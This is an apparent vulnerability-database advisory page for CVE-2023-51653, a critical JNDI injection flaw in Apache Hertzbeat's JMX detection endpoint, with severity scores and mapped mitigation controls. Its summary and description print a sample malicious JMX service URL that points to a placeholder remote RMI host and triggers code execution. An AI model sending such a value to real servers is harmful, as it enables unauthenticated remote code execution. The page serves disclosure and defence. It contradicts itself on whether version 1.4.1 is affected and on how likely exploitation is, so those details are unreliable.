CVE-2023-51653
Apache Hertzbeat ≤ 1.4.1
Raw vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HSummary
CVE-2023-51653 is a critical-severity Injection (CWE-74) vulnerability in Apache Hertzbeat. Its CVSS base score is 9.8 (Critical).
Operationally, exploitation aligns with the MITRE ATT&CK technique Exploit Public-Facing Application (T1190); ranked in the top 20% of CVEs by exploit likelihood; it is not currently listed in the CISA KEV catalog; a public proof-of-concept is referenced.
The strongest mitigations our analysis identified map to SI-10 (Information Input Validation) — see the control section below for these in your framework.
Deeper analysis AI-assisted summary
Synthesised by an AI model from the NVD description and linked references — a reading aid, not an authoritative source.
Hertzbeat is a real-time monitoring system affected by CVE-2023-51653, a JNDI injection vulnerability in the JMX collection logic implemented in JmxCollectImpl.java. The flaw resides in the handling of JMXConnectorFactory.connect calls exposed through the /api/monitor/detect endpoint; when a URL field is supplied, the provided address is used directly, allowing values such as service:jmx:rmi:///jndi/rmi://xxxxxxx:1099/localHikari to trigger remote code execution. The issue is tracked under CWE-74 and carries a CVSS 3.1 score of 9.8.
An unauthenticated network attacker can exploit the vulnerability by submitting a crafted JMX service URL to the detection interface, resulting in arbitrary code execution on the Hertzbeat server with no required credentials or user interaction.
The associated GitHub security advisory GHSA-gcmp-vf6v-59gg and the referenced commit document that the flaw is resolved in version 1.4.1. The EPSS score remains low, with a modest peak of 0.0594 that has since declined, indicating limited observed exploitation interest.
OWASP Top 10 for Web (2025)
EU & UK References
- 🇪🇺 ENISA EUVD: EUVD-2023-56362
Vulnerability Data
Hertzbeat is a real-time monitoring system. In the implementation of `JmxCollectImpl.java`, `JMXConnectorFactory.connect` is vulnerable to JNDI injection. The corresponding interface is `/api/monitor/detect`. If there is a URL field, the address will be used by default. When the URL is `service:jmx:rmi:///jndi/rmi://xxxxxxx:1099/localHikari`,…
more
it can be exploited to cause remote code execution. Version 1.4.1 contains a fix for this issue.
- CWE(s)
Related Threats
MITRE ATT&CK Enterprise Techniques
CVEs Like This One
Affected Assets
Mitigating Controls
Control response
—
—
—
V1.2.1V1.2.3V1.2.5V1.2.8
Mitigating Controls (NIST 800-53 r5) AI
SI-10 directly requires validation of information inputs to reject malformed or special-element content before it reaches downstream parsers.
Mitigating Controls (NIST CSF 2.0) AI
Derived directly from the weakness types (CWEs) cited in the NVD entry via our AI-authored CWE→CSF cross-walk (authority under review) — links open the control.
Secure SDLC practices directly require input validation and output encoding that prevent injection flaws.
Mitigating Controls (ISO/IEC 27001:2022 Annex A) AI
Derived directly from the weakness types (CWEs) cited in the NVD entry via our AI-authored CWE→ISO cross-walk (authority under review) — links open the control.
Security testing in development catches injection vulnerabilities before release.
Logging supports detection of injection attempts but does not prevent the weakness.
Monitoring activities can identify active injection attacks after they occur.
Secure development life cycle mandates input validation and output encoding that directly prevent injection flaws.
Application security requirements explicitly call for controls against injection attacks in software design.
Secure architecture principles reduce injection surfaces but do not prescribe specific neutralization techniques.